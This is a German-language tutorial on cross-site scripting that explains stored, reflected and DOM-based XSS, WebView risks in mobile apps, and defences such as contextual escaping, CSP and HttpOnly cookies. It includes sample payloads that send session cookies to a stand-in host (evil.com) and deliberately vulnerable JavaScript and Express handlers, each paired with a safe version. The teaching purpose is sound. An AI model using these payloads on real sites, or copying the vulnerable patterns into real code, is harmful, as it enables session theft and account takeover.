XSS — was es ist, Angriffsarten und Schutzmethoden

Was ist XSS?

XSS (Cross-Site Scripting) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, JavaScript-Code in eine Webseite einzuschleusen, der dann im Browser des Opfers ausgeführt wird. Der Browser lädt die Seite von einer vertrauenswürdigen Website und führt das eingeschleuste Script mit denselben Rechten wie den legitimen Code der Site aus. Dies gibt dem Angreifer Zugriff auf Cookies, Sitzungsspeicher, den DOM-Baum der Seite und die Möglichkeit, Anfragen im Namen des Opfers zu senden. XSS-Sicherheitslücken entstehen, wenn eine Anwendung Benutzerdaten ohne ordnungsgemäßes Escaping oder Validierung in eine HTML-Seite einfügt.

Geschichte und Relevanz von XSS

Der Begriff Cross-Site Scripting erschien erstmals im Jahr 2000 in einem Microsoft Security Bulletin. In den letzten 25 Jahren hat XSS nicht an Relevanz verloren: Laut HackerOne (2025) macht XSS etwa 22% aller registrierten Sicherheitslücken auf der Plattform aus. Der Grund für die Beständigkeit von XSS ist die Schwierigkeit, alle Eintrittspunkte für Benutzerdaten zu kontrollieren. Jedes Eingabefeld, jeder URL-Parameter, jeder HTTP-Anfrage-Header oder Dateiname kann zu einem Angriffsvektor werden, wenn die Daten ohne Verarbeitung im HTML-Code reflektiert werden.

Welchen Schaden verursacht XSS?

XSS-Angriffe können zum Diebstahl von Sitzungscookies führen, wodurch ein Angreifer ohne Passwort in das Konto des Opfers einloggen kann. Weitere Folgen sind: Weiterleitung zu Phishing-Seiten, Manipulation von Seiteninhalten, Diebstahl persönlicher Daten und Installation von Malware (Drive-by-Download). Im Jahr 2023 betraf ein XSS-Angriff auf die Salesforce Community Cloud-Plattform die Daten Tausender Unternehmenskunden und zeigte, dass selbst große Plattformen nicht immun gegen diese Sicherheitslücke sind.

Arten von XSS-Angriffen

Die XSS-Klassifizierung unterteilt Angriffe nach der Methode der Zustellung des bösartigen Codes in drei Haupttypen. Jeder Typ erfordert einen anderen Schutzansatz: Stored XSS wird durch Escaping der Ausgabe aus der Datenbank blockiert, Reflected — durch Escaping von URL-Parametern, DOM-basiert — durch sicheres Arbeiten mit der DOM-API. Den Unterschied zu verstehen, ist die Grundlage einer effektiven Sicherheitsstrategie.

Stored XSS (persistent)

Der gefährlichste XSS-Typ. Ein Angreifer schleust ein Script in Daten ein, die der Server in einer Datenbank speichert und bei jedem Seitenaufruf anzeigt. Ein typischer Vektor ist das Kommentarfeld: Der Angreifer veröffentlicht einen Kommentar mit <script>document.location='https://evil.com/?c='+document.cookie</script>. Jeder Benutzer, der die Seite mit diesem Kommentar lädt, sendet seine Cookies an den Angreifer. Stored XSS erfordert außer dem Besuch der Seite keine Aktion des Opfers — was es besonders gefährlich für soziale Netzwerke, Foren und Blogs macht.

Reflected XSS (reflektiert)

Das bösartige Script wird in einer HTTP-Anfrage (normalerweise in einem URL-Parameter) übergeben und sofort vom Server in der Antwort reflektiert. Der Angreifer erstellt einen Link wie https://example.com/search?q=<script>...</script> und verbreitet ihn über Phishing, soziale Netzwerke oder E-Mail. Das Opfer erhält durch Klicken auf den Link eine Seite, auf der die eingegebene Suchanfrage (Script) ohne Escaping angezeigt wird. Reflected XSS erfordert Social Engineering — das Opfer muss auf den Link klicken, was das Risiko verringert, aber nicht beseitigt.

DOM-basiertes XSS

Im Gegensatz zu Stored und Reflected erfordert DOM-basiertes XSS kein Senden von Daten an den Server. Die Sicherheitslücke entsteht, wenn clientseitiges JavaScript Benutzerdaten aus der URL, document.referrer, postMessage oder localStorage ohne sichere Verarbeitung in das DOM einfügt. Zum Beispiel führt Code wie document.getElementById('output').innerHTML = location.hash.substring(1) jedes HTML und Script aus dem URL-Fragment (#<img onerror='...'>) aus. DOM-basiertes XSS ist am schwierigsten zu erkennen, da der Server niemals die bösartige Nutzlast erhält — sie wird vollständig clientseitig verarbeitet.

// DOM-basiertes XSS-Beispiel (SCHWACHER CODE)
// Wenn userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — gefährlich: fügt rohes HTML ein
document.write('<div>' + userInput + '</div>');

// SICHERE ALTERNATIVE — textContent verwenden
document.getElementById('output').textContent = userInput;

Wie funktioniert ein XSS-Angriff?

XSS nutzt eine grundlegende Eigenschaft des Webs aus: Der Browser führt JavaScript aus, das von einer vertrauenswürdigen Domain empfangen wurde. Wenn ein Angreifer einen Weg findet, seinen Code in die HTML-Antwort des Servers einzuschleusen, führt der Browser ihn mit denselben Rechten aus wie legitimen Code. Der Angriff durchläuft drei Phasen: Einschleusung von bösartigem Code in den Inhalt, Zustellung des Inhalts an den Browser des Opfers und Codeausführung mit Zugriff auf DOM, Cookies und Speicher.

Einschleusungsphase

Der Angreifer findet einen Eintrittspunkt — ein Feld, einen URL-Parameter oder einen Header, dessen Wert der Server ohne Escaping in die HTML-Antwort einfügt. Typische Eintrittspunkte sind: Suchleisten, Kommentarfelder, Benutzername, Avatar-URL, Cookies, HTTP-Header (User-Agent, Referer). Moderne Frameworks (React, Angular, Vue) escapen die Ausgabe automatisch, aber Entwickler können das Escaping über dangerouslySetInnerHTML, bypassSecurityTrustHtml oder v-html deaktivieren.

Zustellungsphase

Bei Reflected XSS verteilt der Angreifer den bösartigen Link. Bei Stored XSS reicht es aus, Inhalte zu veröffentlichen auf der Zielseite, und jeder Besucher der Seite wird zum Opfer. DOM-basiertes XSS wird aktiviert, wenn eine Seite mit einem bestimmten URL-Fragment geladen wird. Alle drei Phasen können automatisiert werden: Wenn XSS in einem Werbebanner (Drittanbieter-Inhalt) entdeckt wird, betrifft der Angriff alle Benutzer der Site, bis der Banner entfernt wird.

// Reflected XSS-Beispiel in der Suche (SCHWACHES BACKEND)
// Statt den Parameter q zu escapen, fügt der Server ihn in HTML ein

// Express.js — anfälliger Handler:
app.get('/search', (req, res) => {
    const query = req.query.q; // Benutzereingabe
    res.send(`<h1>Results for: ${query}</h1>`);
});

// SICHERE VERSION — Escaping über encodeURI oder Template-Engine:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS in mobilen Anwendungen

Mobilen Anwendungen sind ebenfalls anfällig für XSS-Angriffe, wenn auch in geringerem Maße als Websites. Der Hauptvektor ist WebView und hybride Frameworks (Cordova, Capacitor, React Native mit WebView). Wenn die App Webinhalte in WebView lädt — insbesondere Benutzerinhalte (HTML-E-Mails, Artikel, Nachrichten) — kann eine XSS-Sicherheitslücke zur Ausführung von JavaScript innerhalb der App mit Zugriff auf native Funktionen über die JavaScript-Brücke führen.

XSS in Android WebView

Android WebView führt standardmäßig JavaScript aus. Wenn die App einen HTML-String über loadDataWithBaseURL() lädt oder Benutzerinhalte anzeigt, kann ein XSS-Angriff dem Angreifer Zugriff auf die JavaScript-Schnittstelle (addJavascriptInterface) geben. Google hat die Verwendung von @JavascriptInterface für API < 17 verboten, aber Legacy-Code in älteren Apps existiert noch. Schutz: Deaktivieren Sie JavaScript in WebView, wenn es nicht benötigt wird, und verwenden Sie sicheres Browsen.

XSS in React Native und Flutter

React Native verwendet kein WebView für die UI — Komponenten werden in nativen Ansichten gerendert. Bei der Anzeige von HTML über react-native-webview oder Rich-Text-Komponenten kehrt das XSS-Risiko jedoch zurück. Flutter verwendet eine eigene Rendering-Engine (Skia) und unterstützt kein JavaScript in HTML-Widgets (flutter_html führt keine Script-Tags aus), aber WebView-Plugins (webview_flutter) sind ähnlich anfällig wie native WebViews. Beste Praxis — übergeben Sie niemals nicht vertrauenswürdiges HTML an WebView.

• Deaktivieren Sie JavaScript in WebView, wenn der Inhalt keine Interaktivität erfordert
• Verwenden Sie CSP-Header zur Einschränkung von Script-Quellen in WebView
• Bereinigen Sie HTML vor dem Laden in WebView: Entfernen Sie Script-Tags und Ereignishandler
• Verwenden Sie addJavascriptInterface nicht auf Android ohne strenge Validierung eingehender Daten

// Sichere WebView-Konfiguration in Android
val webView = findViewById<WebView>(R.id.webview)

// JavaScript deaktivieren, wenn keine Interaktivität erforderlich
webView.settings.javaScriptEnabled = false

// HTML vor dem Laden bereinigen
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Methoden zur XSS-Prävention

Der Schutz vor XSS basiert auf drei Prinzipien: Vertraue keiner Benutzereingabe, escape vor der Ausgabe, verwende Content Security Policy. Die Ausgabe-Kodierung ist die wichtigste Methode: Alle vom Benutzer empfangenen Daten müssen vor dem Einfügen in HTML, JavaScript, CSS oder URL escaped werden. Moderne Template-Engines (Twig, Handlebars, JSX, Blade) tun dies automatisch, es sei denn, der Entwickler deaktiviert das Escaping mit speziellen Methoden.

Kontextbezogenes Escaping

Das Escaping hängt vom Kontext der Dateneinfügung ab. Im HTML-Kontext werden <, >, & und Anführungszeichen escaped. Im JavaScript-Kontext werden Backticks, und </script> escaped. Im CSS-Kontext — Steuerzeichen. Im URL-Kontext — URL-Kodierung. Ein Kontextfehler — zum Beispiel das Einfügen eines HTML-escaped Strings in ein onclick-Attribut — schützt nicht vor XSS, da onclick in einem JavaScript-Kontext ausgeführt wird, in dem ein anderes Escaping erforderlich ist.

Content Security Policy (CSP)

CSP ist ein HTTP-Header, der die Quellen einschränkt, von denen der Browser Scripts, Styles und andere Ressourcen laden kann. Eine strenge CSP (ohne unsafe-inline, ohne unsafe-eval) blockiert die Ausführung aller Inline-Scripts, einschließlich XSS-Vektoren. Laut Google Security Blog (2025) blockieren Websites mit CSP 95% der XSS-Angriffe. Beispiel: Content-Security-Policy: default-src 'self'; script-src 'self' verbietet alle externen und Inline-Scripts. CSP schützt nicht vor Stored XSS, wenn das Script von derselben Domain geladen wird, aber dies erfordert zusätzlichen Aufwand vom Angreifer.

HttpOnly- und Secure-Cookies

Das Setzen des HttpOnly-Flags für Cookies verhindert den Zugriff auf sie über JavaScript (document.cookie), was den Diebstahl von Sitzungscookies durch XSS blockiert. Das Secure-Flag stellt sicher, dass das Cookie nur über HTTPS übertragen wird. Die Kombination HttpOnly + Secure + SameSite=Lax macht den Diebstahl von Sitzungscookies durch XSS praktisch unmöglich. XSS kann jedoch weiterhin Aktionen im Namen des Benutzers ausführen (z. B. Anfragen senden), daher ist HttpOnly kein Allheilmittel, sondern Teil einer umfassenden Verteidigung.

Werkzeuge zur XSS-Erkennung

Regelmäßige XSS-Tests sind ein obligatorischer Bestandteil der CI/CD-Pipeline für sichere Entwicklung. Automatisierte Scanner finden bis zu 80% der XSS-Sicherheitslücken; der Rest erfordert manuelle Penetrationstests. Der beste Ansatz ist eine Kombination aus SAST-Analyse (statisch), DAST-Scanning (dynamisch) und Code-Review mit Fokus auf Benutzerdaten-Eintrittspunkte.

• OWASP ZAP — kostenloser DAST-Scanner, findet automatisch XSS in Webanwendungen
• Burp Suite Professional — fortschrittliches Tool mit Active Scan und Intruder für XSS
• XSStrike — spezialisierter XSS-Scanner mit Payload-Generierung
• ESLint-plugin-security — statische Analyse von React/JSX auf gefährliche Muster
• Google Observatory — prüft CSP-Header und XSS-bezogene Konfigurationen

Für mobile Anwendungen umfasst das XSS-Testing WebView-Analyse: Überprüfung von JavaScript-Schnittstellen, URL-Schema-Behandlung und Übergabe von HTML an loadDataWithBaseURL. Es wird auch empfohlen, die postMessage-Verarbeitung in Hybrid-Apps zu testen und zu prüfen, welche Daten über die JavaScript-Brücke übergeben werden. Verwenden Sie einen Emulator mit einem Proxy (Burp Suite), um den Datenverkehr der mobilen App abzufangen und zu modifizieren.